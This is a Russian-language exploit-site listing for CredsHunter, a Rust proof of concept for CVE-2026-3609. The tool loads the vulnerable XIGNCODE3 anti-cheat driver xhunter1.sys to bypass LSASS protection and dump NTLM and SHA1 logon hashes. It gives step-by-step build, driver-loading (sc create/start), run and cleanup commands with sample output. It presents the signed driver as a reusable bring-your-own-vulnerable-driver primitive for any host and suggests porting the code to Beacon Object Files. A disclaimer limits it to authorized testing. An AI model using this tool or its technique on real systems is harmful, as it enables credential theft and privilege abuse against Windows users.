## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BLACKSNUFKIN-CREDSHUNTER
# CredsHunter
**CVE-2026-3609** · **Writeup**
PoC дампа учётных данных LSASS через утечку дескриптора процесса в обход PPL в драйвере античита XIGNCODE3 компании Wellbia — `xhunter1.sys`.
Драйвер предоставляет интерфейс команд `IRP_MJ_WRITE`, который вызывает `ObOpenObjectByPointer` с `AccessMode = KernelMode` и без флага `OBJ_KERNEL_HANDLE`, помещая созданный в режиме ядра дескриптор `PROCESS_ALL_ACCESS` прямо в таблицу дескрипторов вызывающего. Далее стандартный код дампа учётных данных читает 3DES-ключ `lsasrv.dll` из целевого процесса и восстанавливает NTLM- и SHA1-хеши для всех активных сеансов входа.
## Подверженный уязвимости бинарный файл
root@kitploit:~
xhunter1.sys version 10.0.10011.16384
SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
Подверженный уязвимости подписанный драйвер включён в этот репозиторий (`xhunter1.sys`), чтобы эксплойт можно было воспроизвести от начала до конца. Проверьте хеш перед загрузкой:
root@kitploit:~
Get-FileHash .\xhunter1.sys -Algorithm SHA256
Более новые выпуски XIGNCODE3 уже пропатчены. Подверженный уязвимости подписанный бинарный файл остаётся пригодным в качестве BYOVD-примитива на любом хосте, где его можно разместить и загрузить.
## Сборка
root@kitploit:~
git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release
Готовый бинарный файл размещается по пути `target\release\CredsHunter.exe`.
## Запуск
Загрузите прилагаемый драйвер как службу ядра (DACL устройства драйвера разрешает доступ любому вызывающему, как только он запущен):
root@kitploit:~
sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter
Запустите инструмент:
root@kitploit:~
.\target\release\CredsHunter.exe
Чтобы затем выполнить очистку:
root@kitploit:~
sc stop xhunter
sc delete xhunter
Имя устройства по умолчанию — `\\.\xhunter` (соответствует имени службы из примера выше). Если ваша служба использует другое имя, путь к устройству будет соответствовать ему — измените `driver::DEFAULT_DEVICE` или соответствующим образом вызовите `Xhunter::open_named`.
## Пример вывода
root@kitploit:~
xhunter1.sys BYOVD — LSASS credential dump
CVE-2026-3609 — PPL bypass via cmd 785 (ObOpenObjectByPointer/KernelMode)
[+] OS build .............. 26200
[+] lsass.exe PID ......... 940
[+] Driver opened ......... \\.\xhunter
[+] PPL bypass handle ..... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ local 0x00007FFB27CB0000 remote 0x00007FFB27CB0000
[+] LSA key addrs (local) . AES 0x... 3DES 0x... IV 0x...
[+] 3DES key (24B) ........ <hex>
[+] IV .................... <hex>
===== LogonSessionList =====
[0001] LogonSession @ 0x...
User : <username>
Domain : <domain>
NTHash : <16 bytes hex>
SHA1 : <20 bytes hex>
[...]
## Принцип работы
## Структура проекта
root@kitploit:~
src/
├── main.rs # banner, run flow, ExitCode handling
├── driver.rs # Xhunter, Session, MemReader trait, protocol constants
├── proc.rs # find_pid, PEB-walk remote module lookup
├── pe.rs # local PE parsing + pattern scan + RIP decode
├── lsa.rs # LSA key patterns, BCrypt key extraction, 3DES decrypt
├── logon.rs # LogonSessionList walker + MSV1_0 offsets
├── wdigest.rs # WDigest list walker (best-effort)
└── sys.rs # OS build number
Трейт `MemReader` абстрагирует чтение памяти, чтобы модули извлечения учётных данных не зависели от конкретного примитива драйвера. Реализуйте этот трейт для другого ридера (например, среды выполнения Beacon Object File или ридера физической памяти на основе ptwalk) — и модули `lsa` / `logon` / `wdigest` подключатся без изменений.
## Известные ограничения
* **Восстановление открытого текста WDigest выполняется по принципу best-effort.** Сигнатура головы списка представляет собой один байтовый шаблон (`48 3B D9 74`), унаследованный от оригинального публичного PoC, и не обновлялась для Windows 11 сборки 26100 и новее. Доработать это до таблицы для каждой сборки несложно; пул-реквесты приветствуются.
* **Имя службы / устройства** жёстко задано как `xhunter`. Если вы загружаете драйвер под другим именем, измените `driver::DEFAULT_DEVICE` или передайте переопределение в `Xhunter::open_named`.
## Отказ от ответственности
Только для исследований, авторизованного тестирования и защитных инструментов. Загрузка подверженного уязвимости драйвера на систему, которая вам не принадлежит или на тестирование которой у вас нет явного разрешения, является преступлением в большинстве юрисдикций. Автор не несёт ответственности за неправомерное использование.
## Лицензия
См. `LICENSE`.